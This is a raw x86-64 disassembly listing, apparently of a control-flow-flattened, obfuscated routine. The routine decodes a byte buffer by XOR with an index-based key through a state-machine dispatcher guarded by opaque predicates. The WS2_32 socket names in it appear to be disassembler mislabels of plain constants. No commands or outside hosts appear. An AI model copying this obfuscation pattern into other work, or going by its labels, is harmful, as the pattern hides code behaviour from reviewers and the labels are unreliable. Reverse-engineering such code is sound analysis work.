mov ecx, r12d
jmp 0x1400364f0
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov ecx, r15d
jmp 0x1400364f0
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r14 + 8], cl
movsx r13, byte [rax + 0xf]
mov ecx, 0xba371466
nop dword [rax]
cmp ecx, 0xba371465
jle 0x140036621
cmp ecx, 0xcf11b8d3
je 0x1400366ba
cmp ecx, 0xbf6db58e
je 0x14003668f
cmp ecx, 0xba371466
jne 0x1400365e0
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_ntohs
mov ecx, 0xbf6db58e
jmp 0x1400365e0
cmp ecx, 0xa56cc5a2
je 0x140036697
cmp ecx, 0xa939350a
jne 0x1400365e0
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x1400365e0
mov ecx, r12d
jmp 0x1400365e0
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rsi, qword [rbp + 0x1c0]
mov edx, ecx
xor edx, ecx
not edx
and edx, esi
xor edx, ecx
mov ecx, r15d
jmp 0x1400365e0
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r14 + 9], cl
movsx r13, byte [rax + 0x10]
mov ecx, 0xba371466
nop word cs:[rax + rax]
cmp ecx, 0xba371465
jle 0x140036721
cmp ecx, 0xcf11b8d3
je 0x1400367b2
cmp ecx, 0xbf6db58e
je 0x14003678f
cmp ecx, 0xba371466
jne 0x1400366e0
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_recv
mov ecx, 0xbf6db58e
jmp 0x1400366e0
cmp ecx, 0xa56cc5a2
je 0x140036797
cmp ecx, 0xa939350a
jne 0x1400366e0
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x1400366e0
mov ecx, r12d
jmp 0x1400366e0
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov ecx, r15d
jmp 0x1400366e0
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r14 + 0xa], cl
movsx r13, byte [rax + 0x11]
mov ecx, 0xba371466
nop dword [rax]
cmp ecx, 0xba371465
jle 0x140036811
cmp ecx, 0xcf11b8d3
je 0x1400368aa
cmp ecx, 0xbf6db58e
je 0x14003687f
cmp ecx, 0xba371466
jne 0x1400367d0
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_recvfrom
mov ecx, 0xbf6db58e
jmp 0x1400367d0
cmp ecx, 0xa56cc5a2
je 0x140036887
cmp ecx, 0xa939350a
jne 0x1400367d0
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x1400367d0
mov ecx, r12d
jmp 0x1400367d0
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rsi, qword [rbp + 0x1c0]
mov edx, ecx
xor edx, ecx
not edx
and edx, esi
xor edx, ecx
mov ecx, r15d
jmp 0x1400367d0
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r14 + 0xb], cl
movsx r13, byte [rax + 0x12]
mov ecx, 0xba371466
nop word cs:[rax + rax]
cmp ecx, 0xba371465
jle 0x140036911
cmp ecx, 0xcf11b8d3
je 0x1400369aa
cmp ecx, 0xbf6db58e
je 0x14003697f
cmp ecx, 0xba371466
jne 0x1400368d0
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_select
mov ecx, 0xbf6db58e
jmp 0x1400368d0
cmp ecx, 0xa56cc5a2
je 0x140036987
cmp ecx, 0xa939350a
jne 0x1400368d0
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x1400368d0
mov ecx, r12d
jmp 0x1400368d0
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rsi, qword [rbp + 0x1c0]
mov edx, ecx
xor edx, ecx
not edx
and edx, esi
xor edx, ecx
mov ecx, r15d
jmp 0x1400368d0
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r14 + 0xc], cl
movsx r13, byte [rax + 0x13]
mov ecx, 0xba371466
nop word cs:[rax + rax]
cmp ecx, 0xba371465
jle 0x140036a11
cmp ecx, 0xcf11b8d3
je 0x140036aa2
cmp ecx, 0xbf6db58e
je 0x140036a7f
cmp ecx, 0xba371466
jne 0x1400369d0
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_send
mov ecx, 0xbf6db58e
jmp 0x1400369d0
cmp ecx, 0xa56cc5a2
je 0x140036a87
cmp ecx, 0xa939350a
jne 0x1400369d0
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x1400369d0
mov ecx, r12d
jmp 0x1400369d0
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov ecx, r15d
jmp 0x1400369d0
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r14 + 0xd], cl
mov r14d, 0x2724c465
jmp 0x140035c94
mov rcx, qword [rbp + 0x128]
movzx edx, byte [rbp + 0x130]
mov byte [rcx], dl
mov r14, qword [rbp + 0x128]
movsx rdi, byte [rax + 7]
mov ecx, dword [0x1402b5e40]
lea edx, [rcx - 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp dword [0x1402b5e44], 0xa
setl dl
or dl, cl
mov ebx, 0xa939350a
cmovne ebx, r10d
mov r15d, 0xa939350a
cmovne r15d, r11d
mov r12d, 0xba371466
nop word cs:[rax + rax]
cmp r12d, 0xba371465
jle 0x140036b66
cmp r12d, 0xcf11b8d3
je 0x140036bfa
cmp r12d, 0xbf6db58e
je 0x140036bd7
cmp r12d, 0xba371466
jne 0x140036b20
mov qword [rbp + 0x1c0], rdi
mov qword [rbp + 0x1a0], 7
mov r12d, 0xbf6db58e
jmp 0x140036b20
cmp r12d, 0xa56cc5a2
je 0x140036bdf
cmp r12d, 0xa939350a
jne 0x140036b20
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov r12d, 0xa56cc5a2
jmp 0x140036b20
mov r12d, r15d
jmp 0x140036b20
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov r12d, ebx
jmp 0x140036b20
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r14 + 1], cl
movsx rdi, byte [rax + 8]
mov ecx, dword [0x1402b5e40]
lea edx, [rcx - 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
setne cl
cmp dword [0x1402b5e44], 0xa
setge dl
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ebx, 0xa939350a
cmovne ebx, r10d
mov r15d, 0xa939350a
cmovne r15d, r11d
mov r12d, 0xba371466
nop word cs:[rax + rax]
cmp r12d, 0xba371465
jle 0x140036ca6
cmp r12d, 0xcf11b8d3
je 0x140036d43
cmp r12d, 0xbf6db58e
je 0x140036d17
cmp r12d, 0xba371466
jne 0x140036c60
mov qword [rbp + 0x1c0], rdi
mov qword [rbp + 0x1a0], 8
mov r12d, 0xbf6db58e
jmp 0x140036c60
cmp r12d, 0xa56cc5a2
je 0x140036d1f
cmp r12d, 0xa939350a
jne 0x140036c60
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov r12d, 0xa56cc5a2
jmp 0x140036c60
mov r12d, r15d
jmp 0x140036c60
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov r12, qword [rbp + 0x1c0]
mov edx, ecx
xor edx, ecx
not edx
and edx, r12d
xor edx, ecx
mov r12d, ebx
jmp 0x140036c60
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r14 + 2], cl
movsx rdi, byte [rax + 9]
mov ecx, dword [0x1402b5e40]
lea edx, [rcx + 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
setne cl
cmp dword [0x1402b5e44], 0xa
setge dl
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ebx, 0xa939350a
cmovne ebx, r10d
mov r15d, 0xa939350a
cmovne r15d, r11d
mov r12d, 0xba371466
nop
cmp r12d, 0xba371465
jle 0x140036de6
cmp r12d, 0xcf11b8d3
je 0x140036e83
cmp r12d, 0xbf6db58e
je 0x140036e57
cmp r12d, 0xba371466
jne 0x140036da0
mov qword [rbp + 0x1c0], rdi
mov qword [rbp + 0x1a0], 9
mov r12d, 0xbf6db58e
jmp 0x140036da0
cmp r12d, 0xa56cc5a2
je 0x140036e5f
cmp r12d, 0xa939350a
jne 0x140036da0
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov r12d, 0xa56cc5a2
jmp 0x140036da0
mov r12d, r15d
jmp 0x140036da0
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov r12, qword [rbp + 0x1c0]
mov edx, ecx
xor edx, ecx
not edx
and edx, r12d
xor edx, ecx
mov r12d, ebx
jmp 0x140036da0
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r14 + 3], cl
movsx r13, byte [rax + 0xa]
mov ebx, dword [0x1402b5e40]
mov edi, dword [0x1402b5e44]
lea ecx, [rbx + 1]
imul ecx, ebx
test cl, 1
sete dl
cmp edi, 0xa
setge r15b
setl r12b
xor r12b, dl
or r15b, cl
not r15b
or r15b, r12b
test r15b, 1
mov ecx, 0xa939350a
cmovne ecx, r10d
mov r12d, 0xa939350a
cmovne r12d, r11d
mov r15d, 0xba371466
nop word cs:[rax + rax]
cmp r15d, 0xba371465
jle 0x140036f36
cmp r15d, 0xcf11b8d3
je 0x140036fcc
cmp r15d, 0xbf6db58e
je 0x140036fa7
cmp r15d, 0xba371466
jne 0x140036ef0
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], 0xa
mov r15d, 0xbf6db58e
jmp 0x140036ef0
cmp r15d, 0xa56cc5a2
je 0x140036faf
cmp r15d, 0xa939350a
jne 0x140036ef0
mov r15, qword [rbp + 0x1a0]
mov r15, qword [rbp + 0x1a0]
mov r15, qword [rbp + 0x1a0]
mov r15, qword [rbp + 0x1a0]
mov r15, qword [rbp + 0x1c0]
mov r15, qword [rbp + 0x1c0]
mov r15, qword [rbp + 0x1c0]
mov r15, qword [rbp + 0x1c0]
mov r15, qword [rbp + 0x1c0]
mov r15, qword [rbp + 0x1c0]
mov r15, qword [rbp + 0x1c0]
mov r15, qword [rbp + 0x1c0]
mov r15d, 0xa56cc5a2
jmp 0x140036ef0
mov r15d, r12d
jmp 0x140036ef0
mov r15, qword [rbp + 0x1a0]
add r15d, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, r15d
mov r15d, ecx
jmp 0x140036ef0
mov byte [rbp + 0x188], dl
movzx edx, byte [rbp + 0x188]
mov byte [r14 + 4], dl
movsx r13, byte [rax + 0xb]
mov r15d, 0xba371466
nop dword [rax + rax]
cmp r15d, 0xba371465
jle 0x140037036
cmp r15d, 0xcf11b8d3
je 0x1400370d6
cmp r15d, 0xbf6db58e
je 0x1400370a7
cmp r15d, 0xba371466
jne 0x140036ff0
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], select
mov r15d, 0xbf6db58e
jmp 0x140036ff0
cmp r15d, 0xa56cc5a2
je 0x1400370af
cmp r15d, 0xa939350a
jne 0x140036ff0
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov r15d, 0xa56cc5a2
jmp 0x140036ff0
mov r15d, r12d
jmp 0x140036ff0
mov r15, qword [rbp + 0x1a0]
add r15d, 0xb
mov rsi, qword [rbp + 0x1c0]
mov edx, r15d
xor edx, r15d
not edx
and edx, esi
xor edx, r15d
mov r15d, ecx
jmp 0x140036ff0
mov byte [rbp + 0x188], dl
movzx edx, byte [rbp + 0x188]
mov byte [r14 + 5], dl
movsx r13, byte [rax + 0xc]
mov r15d, 0xba371466
nop word cs:[rax + rax]
cmp r15d, 0xba371465
jle 0x140037146
cmp r15d, 0xcf11b8d3
je 0x1400371e3
cmp r15d, 0xbf6db58e
je 0x1400371b7
cmp r15d, 0xba371466
jne 0x140037100
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], select
mov r15d, 0xbf6db58e
jmp 0x140037100
cmp r15d, 0xa56cc5a2
je 0x1400371bf
cmp r15d, 0xa939350a
jne 0x140037100
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov r15d, 0xa56cc5a2
jmp 0x140037100
mov r15d, r12d
jmp 0x140037100
mov rsi, qword [rbp + 0x1a0]
add esi, 0xb
mov r15, qword [rbp + 0x1c0]
mov edx, esi
xor edx, esi
not edx
and edx, r15d
xor edx, esi
mov r15d, ecx
jmp 0x140037100
mov byte [rbp + 0x188], dl
movzx edx, byte [rbp + 0x188]
mov byte [r14 + 6], dl
movsx r13, byte [rax + 0xd]
mov r15d, 0xba371466
nop
cmp r15d, 0xba371465
jle 0x140037246
cmp r15d, 0xcf11b8d3
je 0x1400372e3
cmp r15d, 0xbf6db58e
je 0x1400372b7
cmp r15d, 0xba371466
jne 0x140037200
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_listen
mov r15d, 0xbf6db58e
jmp 0x140037200
cmp r15d, 0xa56cc5a2
je 0x1400372bf
cmp r15d, 0xa939350a
jne 0x140037200
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov r15d, 0xa56cc5a2
jmp 0x140037200
mov r15d, r12d
jmp 0x140037200
mov rsi, qword [rbp + 0x1a0]
add esi, 0xb
mov r15, qword [rbp + 0x1c0]
mov edx, esi
xor edx, esi
not edx
and edx, r15d
xor edx, esi
mov r15d, ecx
jmp 0x140037200
mov byte [rbp + 0x188], dl
movzx edx, byte [rbp + 0x188]
mov byte [r14 + 7], dl
movsx r13, byte [rax + 0xe]
mov r15d, 0xba371466
nop
cmp r15d, 0xba371465
jle 0x140037346
cmp r15d, 0xcf11b8d3
je 0x1400373e3
cmp r15d, 0xbf6db58e
je 0x1400373b7
cmp r15d, 0xba371466
jne 0x140037300
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_ntohl
mov r15d, 0xbf6db58e
jmp 0x140037300
cmp r15d, 0xa56cc5a2
je 0x1400373bf
cmp r15d, 0xa939350a
jne 0x140037300
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov r15d, 0xa56cc5a2
jmp 0x140037300
mov r15d, r12d
jmp 0x140037300
mov rsi, qword [rbp + 0x1a0]
add esi, 0xb
mov r15, qword [rbp + 0x1c0]
mov edx, esi
xor edx, esi
not edx
and edx, r15d
xor edx, esi
mov r15d, ecx
jmp 0x140037300
mov byte [rbp + 0x188], dl
movzx edx, byte [rbp + 0x188]
mov byte [r14 + 8], dl
movsx r13, byte [rax + 0xf]
mov r15d, 0xba371466
nop
cmp r15d, 0xba371465
jle 0x140037446
cmp r15d, 0xcf11b8d3
je 0x1400374da
cmp r15d, 0xbf6db58e
je 0x1400374b7
cmp r15d, 0xba371466
jne 0x140037400
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_ntohs
mov r15d, 0xbf6db58e
jmp 0x140037400
cmp r15d, 0xa56cc5a2
je 0x1400374bf
cmp r15d, 0xa939350a
jne 0x140037400
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov r15d, 0xa56cc5a2
jmp 0x140037400
mov r15d, r12d
jmp 0x140037400
mov rsi, qword [rbp + 0x1a0]
add esi, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, esi
mov r15d, ecx
jmp 0x140037400
mov byte [rbp + 0x188], dl
movzx edx, byte [rbp + 0x188]
mov byte [r14 + 9], dl
movsx r13, byte [rax + 0x10]
mov r15d, 0xba371466
nop word cs:[rax + rax]
cmp r15d, 0xba371465
jle 0x140037546
cmp r15d, 0xcf11b8d3
je 0x1400375da
cmp r15d, 0xbf6db58e
je 0x1400375b7
cmp r15d, 0xba371466
jne 0x140037500
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_recv
mov r15d, 0xbf6db58e
jmp 0x140037500
cmp r15d, 0xa56cc5a2
je 0x1400375bf
cmp r15d, 0xa939350a
jne 0x140037500
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov r15d, 0xa56cc5a2
jmp 0x140037500
mov r15d, r12d
jmp 0x140037500
mov rsi, qword [rbp + 0x1a0]
add esi, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, esi
mov r15d, ecx
jmp 0x140037500
mov byte [rbp + 0x188], dl
movzx edx, byte [rbp + 0x188]
mov byte [r14 + 0xa], dl
movsx r13, byte [rax + 0x11]
mov r15d, 0xba371466
nop word cs:[rax + rax]
cmp r15d, 0xba371465
jle 0x140037646
cmp r15d, 0xcf11b8d3
je 0x1400376e3
cmp r15d, 0xbf6db58e
je 0x1400376b7
cmp r15d, 0xba371466
jne 0x140037600
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_recvfrom
mov r15d, 0xbf6db58e
jmp 0x140037600
cmp r15d, 0xa56cc5a2
je 0x1400376bf
cmp r15d, 0xa939350a
jne 0x140037600
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov r15d, 0xa56cc5a2
jmp 0x140037600
mov r15d, r12d
jmp 0x140037600
mov rsi, qword [rbp + 0x1a0]
add esi, 0xb
mov r15, qword [rbp + 0x1c0]
mov edx, esi
xor edx, esi
not edx
and edx, r15d
xor edx, esi
mov r15d, ecx
jmp 0x140037600
mov byte [rbp + 0x188], dl
movzx edx, byte [rbp + 0x188]
mov byte [r14 + 0xb], dl
movsx r13, byte [rax + 0x12]
mov r15d, 0xba371466
nop
cmp r15d, 0xba371465
jle 0x140037746
cmp r15d, 0xcf11b8d3
je 0x1400377da
cmp r15d, 0xbf6db58e
je 0x1400377b7
cmp r15d, 0xba371466
jne 0x140037700
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_select
mov r15d, 0xbf6db58e
jmp 0x140037700
cmp r15d, 0xa56cc5a2
je 0x1400377bf
cmp r15d, 0xa939350a
jne 0x140037700
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov r15d, 0xa56cc5a2
jmp 0x140037700
mov r15d, r12d
jmp 0x140037700
mov rsi, qword [rbp + 0x1a0]
add esi, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, esi
mov r15d, ecx
jmp 0x140037700
mov byte [rbp + 0x188], dl
movzx edx, byte [rbp + 0x188]
mov byte [r14 + 0xc], dl
movsx r13, byte [rax + 0x13]
mov r15d, 0xba371466
nop word cs:[rax + rax]
cmp r15d, 0xba371465
jle 0x140037846
cmp r15d, 0xcf11b8d3
je 0x1400378da
cmp r15d, 0xbf6db58e
je 0x1400378b7
cmp r15d, 0xba371466
jne 0x140037800
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_send
mov r15d, 0xbf6db58e
jmp 0x140037800
cmp r15d, 0xa56cc5a2
je 0x1400378bf
cmp r15d, 0xa939350a
jne 0x140037800
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1c0]
mov r15d, 0xa56cc5a2
jmp 0x140037800
mov r15d, r12d
jmp 0x140037800
mov rsi, qword [rbp + 0x1a0]
add esi, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, esi
mov r15d, ecx
jmp 0x140037800
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r14 + 0xd], cl
add r14, 0xe
mov qword [rbp + 0x190], r14
mov ecx, dword [0x1402b5e48]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
sete cl
mov r14d, 0xd43b7be9
mov esi, 0x32cb6814
cmove r14d, esi
cmp dword [0x1402b5e4c], 0xa
cmovge r14d, r9d
setl dl
xor dl, cl
cmovne r14d, esi
jmp 0x140035c94
movsx r8, byte [rax + 0x14]
lea ecx, [rbx + 1]
imul ecx, ebx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmp edi, 0xa
setl dl
or dl, cl
mov r9d, 0xcf11b8d3
mov ecx, 0xa939350a
cmove r9d, ecx
mov r10d, 0xa56cc5a2
cmove r10d, ecx
mov ecx, 0xba371466
mov rdi, qword [rbp + 0xf8]
nop word [rax + rax]
cmp ecx, 0xba371465
jle 0x1400379c1
cmp ecx, 0xcf11b8d3
je 0x140037a52
cmp ecx, 0xbf6db58e
je 0x140037a2f
cmp ecx, 0xba371466
jne 0x140037980
mov qword [rbp + 0x1c0], r8
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_sendto
mov ecx, 0xbf6db58e
jmp 0x140037980
cmp ecx, 0xa56cc5a2
je 0x140037a37
cmp ecx, 0xa939350a
jne 0x140037980
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x140037980
mov ecx, r10d
jmp 0x140037980
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov ecx, r9d
jmp 0x140037980
mov byte [rbp + 0x188], dl
